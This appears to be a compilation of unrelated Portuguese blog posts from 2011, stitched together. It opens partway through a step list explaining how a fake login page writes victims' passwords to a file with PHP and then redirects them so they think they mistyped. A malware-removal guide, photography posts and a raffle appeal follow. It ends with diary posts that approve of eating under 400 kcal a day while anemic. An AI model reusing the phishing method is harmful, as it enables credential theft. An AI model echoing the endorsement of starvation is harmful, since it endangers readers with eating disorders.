8. Setando data na variavel
9. Setando Horario na variavel
10. Setando um monte de underline :D
11. Setando na variavel tudo que vai ser escrito no bloco de notas
12. Setando o comando fopen dentro da variavel
13. Executa o Comando fwrite, ali ele escolhe onde vai escrever e como($abre), e depois oq vai escrever($ess)
14. Executa um javascript, para enviar você para outra pagina, que no caso iriam usar para encaminhar para a pagina original, fazendo com que a vitima pensasse que colocou a senha errada.
Como remover virus de MSN e Orkut com o BankerFix.
Autor: HeadPlay | Publicado: 2011-03-23T05:47:00-07:00

Banker é um tipo de cavalo de tróia que é especifico para roubar senhas e busca sempre senhas de banco, paypal, orkut e MSN.O site brasileiro responsável pela limpeza dos Bankers é o site Linha Defensiva:http://www.linhadefensiva.org/bankerfix/Isso acontece pelo próprio Brasil, pois os vírus são comprados por brasileiros que querem roubar aqui no Brasil mesmo.Eu vou colocar abaixo a minha versão de como remover esses vírus, mas fica ao seu critério seguir por aqui ou pelo site Linha Defensiva.Passo 1 - O BankerFixO BankerFix é o programa específico para remover Banker.Baixe aqui: http://www.linhadefensiva.org/dl/bankerfixDê preferência para salvar no seu DESKTOP.Passo 2 - Restauração de SistemaOutro detalhe importante é sobre a Restauração do Sistema que deve estar desativada para garantir que após a reinicialização o vírus não retorne.Meu ComputadorBotão DireitoPropriedades e Restauração de SistemaE Marque: Desativar restauração do sistema em todas as unidades.Após o processo você poderá reabilitar, mas eu não recomendo.Passo 3 - Executando o BankerFixDuplo cliqueSimOkNesse momento várias janelas em DOS minimizadas irão aparecer e sumir e isso é normal.Nesse momento desative o seu antivírus e o seu Internet Explorer será fechado, ou seja, para continuar o tutorial baixe a versão PDF no final desse post para poder acompanhar.Passo 4 - Encontrou ProblemasSe o BankerFix mostrou que tem vírus e removeu isso é muito bom e se ele pedir para reiniciar faça imediatamente.Se algum arquivo não pode ser removido o conselho é entrar em modo de segurança (aperte F8 ao iniciar seu Windows) e passe o BankerFix novamente.Passo 5 - RelatórioO BankerFix gera um relatório no final do rastreamento e ele fica armazenado na pasta:C:\LinhaDefensiva ou no drive que você salvouO nome do arquivo é:relatorio.txtApós o BankerFix eu também aconselho o ComboFix:http://professorwellingtontelles.blogspot.com/2009/07/combofix-tutorial.html
Para Refletir...
Autor: Amor Imagem | Publicado: 2011-06-22T17:18:00-07:00

“O que vai ficar na fotografia são os laços  invisíveis que havia.”Leoni
“A Fotografia eterniza momentos.
A Poesia  eterniza sentimentos.
A Fotografia é a Poesia da imagem.
A Poesia é a  fotografia das sensações.”Autor desconhecido
“Fotografia é uma forma de registrar para  sempreo que vimos por apenas um pequeno  momento.”
Alfred Sussman
08 de Janeiro dia do fotógrafo.
Autor: Amor Imagem | Publicado: 2012-01-08T13:01:00-08:00

Já imaginaram se não existissem as fotografias e os fotógrafos? Sabe aquelas fotos do seu primeiro aniversário? Então, foram feitas por um fotógrafo. Existem os fotógrafos profissionais, e também aqueles que tiram fotos apenas por hobbie, pelo gosto em fotografar. As fotografias guardam para sempre os momentos, emoções e sentimentos expressados algum dia da sua vida. Elas estão por toda parte. Revistas, jornais, cartazes, livros, outdoors, videogames e muitas vezes até canais de televisão fazem uso da fotografia. Sem falar nos momentos importantes que não passamos sem tirar fotos como nas festas e quando estamos em férias! Nem todo o fotógrafo é um profissional do mercado. Muitos artistas são fotógrafos e exibem seus trabalhos nas galerias de arte e nos museus. Sebastião Salgado é um exemplo de artista brasileiro, que trabalha com imagens fotográficas. Ficou famoso por registrar garimpeiros em Serra Pelada. Já os fotógrafos que trabalham no mercado podem se especializar em fotografar produtos ou modelos. As agências tanto de publicidade quanto de modelos não dispensam um bom profissional! É preciso muito estudo e conhecimento para se tornar grande nesta área. A luz, por exemplo, é um elemento fundamental que precisa ser tratado com maestria para se obter uma boa fotografia!

Então, desejamos a todos os fotógrafos momentos de muita luz. Parabéns!
Fotógrafo armênio captura imagens incríveis de olhos de pessoas e animais.
Autor: Amor Imagem | Publicado: 2011-10-07T18:27:00-07:00

Tiradas com um mega zoom as fotos mostram detalhes de pupilas e íris de cobras, cachorros e até crocodilos.

 

 

Olhos de pessoas

Aos 16 anos, Suren Manvelyan começou a se interessar pela
fotografia, mas foi só em 2006 que o armênio se tornou um fotógrafo
profissional. Manvelyan, que já deu aulas de física, matemática e astronomia
para crianças e adolescentes, consegue capturar imagens incríveis a partir de
cenários simples e convencionais.

Iguana e Cachorro

Exemplo disso são dois trabalhos criados pelo artista, que
se dedicou a tirar fotos de olhos de animais e pessoas, capturando cada detalhe,
cores e texturas. O resultado é impressionante.

Cavalo e Crocodilo

Manvelyan fotografou olhos de coelhos, cobras, hienas, cachorros, crocodilos
e muitos outros. Com os seres humanos, fez questão de trabalhar com diversas
tonalidades de íris, desde azul claro a castanho escuro e preto.

Jacaré e Cobra

Para ver mais acesse: http://www.surenmanvelyan.com
Concurso de Fotografia Árvores da Cidade de São Paulo.
Autor: Amor Imagem | Publicado: 2011-08-17T13:05:00-07:00

O concurso de fotografia Árvores da Cidade de São Paulo chega em sua sexta edição com muito fôlego. Redescobrir a cidade através das lentes de uma câmera fotográfica tem se tornado uma atividade atraente para muitos paulistanos. A cada ano aumenta o número de inscritos e as imagens captadas revelam uma São Paulo arborizada em meio a prédios e avenidas movimentadas.

Este ano as inscrições serão exclusivamente online. Para participar os interessados devem acessar o site do concurso no período de 20 de junho de 31 de agosto de 2011, preencher o cadastro e aguardar o recebimento de e-mail com link para envio das fotos, e então completar sua inscrição enviando no máximo 3 fotos.

Serão escolhidas 20 fotos para compor a exposição “Árvores da Cidade de São Paulo 2011”, dentre as quais estarão as cinco vencedoras. Os autores das melhores fotos receberão como prêmio cursos livres no Senac, câmeras fotográficas, livros de fotografia entre outros.

Para maiores informações acesse o link: http://www.prefeitura.sp.gov.br/cidade/secretarias/meio_ambiente/concurso_de_fotografia/index.php?p=3700
The Birds Song Score - A partitura dos pássaros
Autor: Amor Imagem | Publicado: 2011-07-21T07:05:00-07:00

A partir de uma fotografia de pássaros nos fios dos postes de iluminação pública, publicada no jornal 'Estado', o músico e publicitário Jarbas Agnelli compôs uma música.

Jarbas Agnelli explica que os "pássaros empilhados viraram acordes e os solitários, notas no teclado. Depois coloquei o xilofone e, na sequência, clarinete, fagote e oboé". Explica ainda que "A inspiração pode vir de qualquer lugar, mas é preciso estar atento".

Agnelli estava desenvolvendo a partitura dos pássaros quando resolveu entrar em contato com Paulo, que enviou a foto integral. "Não acreditei que ele tivesse entendido o que eu vi na hora que fiz a foto. Para mim, os pássaros também pareciam notas" afirmou Paulo.

Somente após o contato é que a composição foi totalmente concluída. "Quando recebi, vi que a versão editada no jornal tinha eliminado oito pássaros, ou seja, quatro notas no início e quatro no final da música. Fiquei surpreso porque era exatamente o que faltava para finalizar a melodia" disse Agnelli.

O repórter fotográfico é Paulo Pinto, 49 anos, do jornal 'Estado'. O compositor é Jarbas Agnelli, 46 anos. Agnelli é um premiado publicitário, que já trabalhou na W/Brasil e hoje é proprietário da AD Studio.

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Termos básicos da Fotografia
Autor: Amor Imagem | Publicado: 2011-10-20T07:33:00-07:00

Alguns termos básicos da Fotografia
podem parecer específicos e difíceis para os amadores quando estão lendo sobre
fotografia ou pesquisando câmeras, mas aqui você vai encontrar os principais
pontos de interesse nesse mundo fotográfico.

Megapixel: quanto mais megapixels uma câmara tiver,
mais detalhe obterá e mais conseguirá ampliar a imagem com maior qualidade.

ISO: o ISO é uma função fundamental para se
fotografar em ambientes com pouca luz e sem o uso do flash. Porém, quanto mais
alto colocamos o ISO, menor a qualidade da imagem, pois, devido à claridade
gerada, a imagem fica com os famosos ruídos.

LCD: usamos o Live View para fazer composições
usando a tela de LCD ao invés do visor da câmera (View Finder).

Autolimpeza: os sistemas de autolimpeza são essenciais,
eles controlam e eliminam pequenos vestígios de pó/poeira que se acumulam no
interior da câmera.

Estabilizador da imagem: a tecnologia permite que as fotos fiquem
desfocadas e ameniza àquela impressão de ‘imagem borrada’. Podemos encontrar
dois tipos de estabilizador: o da própria câmera e o da lente.

Autofocus: é um sistema com determinados pontos
focais prontos para que, em um momento de pressa, você não precise ajustá-lo
manualmente. O número de pontos focais pode variar de acordo com o modelo da
câmera.

Faixa dinâmica (alcance
dinâmico): como uma
câmara não consegue captar os detalhes de uma cena – com um grande contraste –
da mesma forma que um olho humano, quanto mais alta a faixa dinâmica (HDR),
maior a possibilidade de obter um bom contraste. Uma alta faixa dinâmica capta
mais contraste do que uma exposição única, combinando os melhores detalhes de
altas luzes de uma foto e o melhor detalhe da sombra.

Fator Crop: antes mesmo da quantidade de megapixels,
o sensor é uma das prioridades na hora de escolher uma câmera. A imagem que
vemos no visor é apenas 95% da fotografia total, é o sensor que define a
qualidade da imagem final. Câmeras com sensores de 35/36 mm são chamadas de
‘Full Frame’ e equivalentes às analógicas de filme. As câmeras que tiverem um
valor abaixo deste, apresentarão o que chamamos de “fator de corte”, o que
significa que apenas uma parte da imagem que passa pela lente é capturada.

Disparo contínuo
(Continuous Mode): o
também conhecido como, ‘Continuous Mode’ é um drive de velocidade que permite
tirarmos diversas fotos em um disparo contínuo. O número de frames por segundo
(fps) varia de acordo com o sistema de cada câmera.

JPG e RAW: o formato JPG é, digamos o mais fácil de
usar. As fotos ficam leves, o que permite uma maior quantidade de fotografias
armazenadas e facilita na visualização e no envio das mesmas. O formato RAW é
mais comum entre os profissionais da área que necessitam de uma maior qualidade
para trabalharem na pós-produção (como, por exemplo, tratamentos de imagem).

Formato: hoje em dia o formato mais comum é o de
16:9, mas existem formatos preferíveis para cada tipo de fotografia.
19 de Agosto celebra-se o dia mundial da Fotografia e do Fotógrafo.
Autor: Amor Imagem | Publicado: 2011-08-19T07:08:00-07:00

Diga Xissss... e parabéns pela fotografia!

Hoje, dia 19 de Agosto celebra-se a nível mundial o dia da Fotografia e também é celebrado o dia mundial do fotógrafo.

Aposto que você deve ter um monte de fotos. É legal ter fotos dos amigos, da gente na praia, nas festas, com as pessoas da família e mais legal ainda, é ver as fotos depois de ter registrado todos esses momentos.

E essa diversão só é possível hoje porque há muito tempo atrás por volta de 1937, em Paris, um francês chamado Louis M. Daguérre desenvolveu o daguerreótipo, um processo fotográfico percursor da actual fotografia, que mais tarde foi reconhecido pela Academia Francesa de Ciências em Janeiro de 1839, a Academia Francesa de Ciências anunciou a invenção do daguerreótipo e em 19 de Agosto o Governo francês considerou a invenção de Daguérre como um presente "grátis para o mundo".

Outro processo fotográfico - o calótipo, inventado também em 1839 por William Fox Talbot, fez com que o ano de 1839 fosse considerado o ano da invenção da fotografia.

De lá pra cá a fotografia evoluiu muito e foi a grande responsável por “apresentar o mundo” à humanidade. Mesmo com o surgimento de outras formas de exibição de imagens (cinema, televisão, computador) a fotografia continua sendo a única "capaz de captar a alma humana". Ou, como diria Henri Cartier-Bresson, um dos maiores fotógrafos de todos os tempos "fotografar é captar o momento decisivo".

Ao longo dos tempos a fotografia evoluiu junto com suas técnicas e imensas possibilidades para o utilizador.

Como afirma o ditado popular ” uma imagem vale mais do que mil palavras”. Então, aproveite e crie ou ensine algo memorável neste dia através da fotografia. Que tal comemorar tirando uma foto agora mesmo? É um bom jeito de homenagear essa colorida, divertida e tão valiosa descoberta. Diga xiiiiis!

“Fotografar é colocar na mesma linha de mira a cabeça, o olho e o coração”. (Cartier Bresson)

 FELIZ DIA DA FOTOGRAFIA!
HAPPY DAYS OF PHOTOGRAPHY!
Autor: Ana @Andrades | Publicado: 2011-06-11T07:47:00-07:00

   OI!AMIGOS ,VENHO ATRAVES DESSA FONTE DECOMUNICAÇÃO,PEDIR A COLABORAÇÃO DE VCS,VENHO VENDER UMA RIFA DE UMCOBERTOR TERMICO,EM BENEFICIO DE MEU PAI,QUE ESTA COM CANCER E ESTATENDO QUE FAZER KIMIOTERAPIA EM SANTA MARIA,Ñ TEMOS PARENTES LA E TDFICA MAIS CARO.PEÇO AJUDA DE TDS QUE PUDEREM COLABORAR,VOU NA CASA DEQUEMKIZER,O VALOR  É DE 3,00,SE VC MORA EM OUTRO ESTADO MANDO COM FRETEGRATIS,E DE BRINDE UMA LANGERI,PAÇO NUMERO DE MINHA CONTA P/ QUEM SEINTERESSAR,SÃO MIL NUMEROS,OBGDA PELA ATENÇÃO,BJSS
Autor: - Pri . | Publicado: 2011-05-17T14:38:00-07:00

Pra variar, meu mundo caiu de novo. Até aí sem novidades.
A novidade é a crueldade do meu médico: ele só se preocupa comigo...

Estou tomando risperidona. Na primeira semana aumentei de peso e percebi, mas nada que me deixasse muito irritada, porque a calça 10 servia ainda...

Então ele aumentou a dose, e eu desnutrida e me subalimentando, não perdi peso, imagino.

Mas eu não tomei na dose devida... Porque me dava sono de manhã. Daí essa semana eu comecei a tomar.
E comecei a tomar também ácido fólico, e sulfato ferroso e complexo B pq estou com anemia, pra dramatizar um pouco mais a situação.

Daí desceu pra mim, e de um jeito estranho... Bem pouco, e não pára. Eis que eu fico sabendo que a risperidona gera alterações hormonais tão intensas que (segurem-se) tem gente que DÁ LEITE simplesmente por causa dela.

Por isso que eu "menstruei".

Agora vem a parte estarrecedora: minha calça 10 não fechou. a 34 pqna fechou, mas tá skinny msmo, apertada.

No desespero, sabendo que ia me arrepender, fui me pesar: deu 53kg. isso com casaco e tênis e almoço... Sim, eu estou tomando sopa no almoço. Pra não me dar tonturas. Agora eu tô anêmica, fraca e gorda.
Mereço?!

Fingindo que está tudo bem, sabendo que estou inchada por causa do remédio, posso emagrecer mais né?! Então é isso que vou fazer. Emagrecer mais.
Autor: - Pri . | Publicado: 2011-04-27T14:47:00-07:00

aiiai esse desafio...

já comentei que sou neurótica ao extremo né... pois é.

no primeiro dia eu miei 380kcal.

e andei uns 9km.

ontem não fiz exercícios além da rotina (40min de caminhada com mochila, pra ir e voltar a facul e 1h passando roupa).
comi:
duas f de pão light
1 co. chá de creme de ricota
café com adoçante
uma goiaba
1/2 porção de legumes (cenoura + mandioquinha)
uma co. sopa de arroz
1tomate

não somei, mas sei que não deu mais de 400kcal.

maaaaaaaaas
hj... hj deu merda.